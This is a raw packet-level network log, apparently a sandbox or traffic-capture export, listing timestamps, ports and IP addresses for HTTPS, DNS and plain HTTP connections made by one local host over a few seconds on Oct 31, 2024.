Oct 31, 2024 17:26:17.311419010 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:17.311520100 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:17.315742016 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:17.315762043 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:17.316224098 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:17.350888014 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:17.366529942 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:17.578159094 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:17.578217030 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:17.580501080 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:17.581701040 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:17.581727028 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:17.956137896 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:17.956242085 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:17.956311941 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:17.956542969 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:17.956581116 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:18.177798986 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.177966118 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.177973032 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.179626942 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.179686069 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.180779934 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.180865049 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.181097984 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.181103945 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.225934982 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.295485973 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:18.339359999 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.359391928 CET	62823	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:18.366502047 CET	53	62823	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:18.366628885 CET	62823	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:18.366985083 CET	62823	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:18.372211933 CET	53	62823	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:18.425677061 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.425734997 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.425779104 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.425795078 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.425810099 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.428426027 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.428433895 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.437987089 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.438039064 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.438046932 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.447453022 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.447500944 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.447510004 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.491578102 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.491588116 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.538032055 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.545325041 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.545406103 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.545456886 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.545474052 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.546309948 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.546374083 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.546380997 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.555402994 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.555454016 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.555461884 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.565279007 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.565335035 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.565340996 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.581727028 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.581790924 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.581813097 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.581854105 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.581865072 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:18.581903934 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.581928015 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.581954956 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:18.581954956 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:18.581991911 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:18.582060099 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.582123041 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:18.582137108 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.582256079 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:18.582436085 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:18.616945028 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.616961956 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.663837910 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.692981005 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.693089008 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.693133116 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.693135977 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.693149090 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.693191051 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.693237066 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.693396091 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.693439960 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.693449020 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.693577051 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.693662882 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.693670988 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.727417946 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.727483988 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.727500916 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.773195982 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.778350115 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.781708002 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.781740904 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.781768084 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.781783104 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.781814098 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.783436060 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.791300058 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.791373968 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.791385889 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.799746990 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.799789906 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.799803972 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.805026054 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:18.805107117 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:18.808435917 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:18.808455944 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:18.808993101 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:18.814326048 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:18.814563990 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:18.814588070 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:18.814904928 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:18.814960957 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:18.815505981 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:18.815556049 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:18.816701889 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:18.816786051 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:18.816859007 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:18.816947937 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:18.816953897 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:18.843889952 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.843950033 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.843966961 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.850364923 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:18.866946936 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:18.891336918 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:18.895993948 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.896063089 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.896081924 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.899048090 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.899105072 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.899120092 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.900852919 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.900897980 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.900912046 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.909399986 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.909451962 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.909466982 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.917305946 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.917354107 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.917367935 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.960707903 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:18.961369038 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:18.977006912 CET	53	62823	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:18.977792978 CET	62823	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:18.983684063 CET	53	62823	1.1.1.1	192.168.2.4
Oct 31, 2024 17:26:18.983731985 CET	62823	53	192.168.2.4	1.1.1.1
Oct 31, 2024 17:26:19.007576942 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.007596016 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.016488075 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.016535044 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.016550064 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.016593933 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.016674042 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.016715050 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.016721964 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.016758919 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.018795967 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.026645899 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.026680946 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.026694059 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.026709080 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.026823997 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.034600973 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.078944921 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.079015017 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.079032898 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.092833042 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.092904091 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.093054056 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:19.093055010 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:19.093144894 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.093185902 CET	49750	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:19.093204975 CET	443	49750	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.097234964 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:19.122098923 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:19.122136116 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.122220993 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:19.122524023 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:19.122536898 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.132431030 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.132447958 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.136513948 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.136564970 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.136568069 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.136580944 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.136617899 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.136630058 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.136977911 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.137032032 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.137039900 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.144026041 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.144069910 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.144083977 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.148068905 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:19.148129940 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:19.149081945 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:19.149163008 CET	443	49753	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:19.149241924 CET	49753	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:19.152710915 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.152779102 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.152793884 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.194950104 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.196649075 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.241828918 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.241846085 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.254108906 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.254152060 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.254160881 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.254174948 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.254209995 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.254215956 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.254745007 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.254795074 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.254838943 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.254847050 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.254884005 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.261919022 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.261991024 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.262051105 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.262064934 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.262397051 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.262437105 CET	443	49748	142.250.186.46	192.168.2.4
Oct 31, 2024 17:26:19.262487888 CET	49748	443	192.168.2.4	142.250.186.46
Oct 31, 2024 17:26:19.449569941 CET	49746	443	192.168.2.4	20.12.23.50
Oct 31, 2024 17:26:19.449615955 CET	443	49746	20.12.23.50	192.168.2.4
Oct 31, 2024 17:26:19.918589115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:19.918880939 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:19.923806906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:19.923891068 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:19.923966885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:19.924154043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:19.924228907 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:19.929590940 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:19.929920912 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:19.975348949 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.975434065 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:19.977267981 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:19.977281094 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.978162050 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:19.983576059 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:20.031330109 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:20.225513935 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:20.225707054 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:20.225965977 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:20.227101088 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:20.227101088 CET	62827	443	192.168.2.4	184.28.90.27
Oct 31, 2024 17:26:20.227123976 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:20.227134943 CET	443	62827	184.28.90.27	192.168.2.4
Oct 31, 2024 17:26:20.635557890 CET	62831	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:20.635653973 CET	443	62831	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:20.636190891 CET	62831	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:20.636461973 CET	62831	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:20.636497021 CET	443	62831	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:21.338068962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:21.338901997 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:21.471801043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:21.471878052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:21.476788044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:21.476844072 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:21.476900101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:21.539299011 CET	443	62831	172.217.23.110	192.168.2.4
Oct 31, 2024 17:26:21.555634022 CET	62831	443	192.168.2.4	172.217.23.110
Oct 31, 2024 17:26:21.568253994 CET	49745	443	192.168.2.4	142.250.185.196
Oct 31, 2024 17:26:22.265897989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:22.266030073 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:22.281363010 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:22.286240101 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:23.049338102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:23.049510002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:23.401063919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:23.406197071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.185962915 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.186114073 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.417895079 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.423304081 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.704610109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.704624891 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.704636097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.704750061 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.704752922 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.704761982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.704773903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.704786062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.704858065 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.704858065 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.704993010 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.705004930 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.705015898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.705061913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.705061913 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.705387115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.705451965 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.854312897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854337931 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854348898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854441881 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.854490042 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854521990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854535103 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.854573011 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.854639053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854650974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854661942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854692936 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.854726076 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.854882002 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.854928017 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.855438948 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.855508089 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.855510950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.855524063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:24.855577946 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:24.855638027 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:25.164990902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165110111 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:25.165200949 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165214062 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165225029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165260077 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:25.165299892 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:25.165472031 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165483952 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165524960 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:25.165532112 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165544987 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165555000 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165565968 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165576935 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165587902 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:25.165587902 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:25.165606976 CET	62829	80	192.168.2.4	185.215.113.206
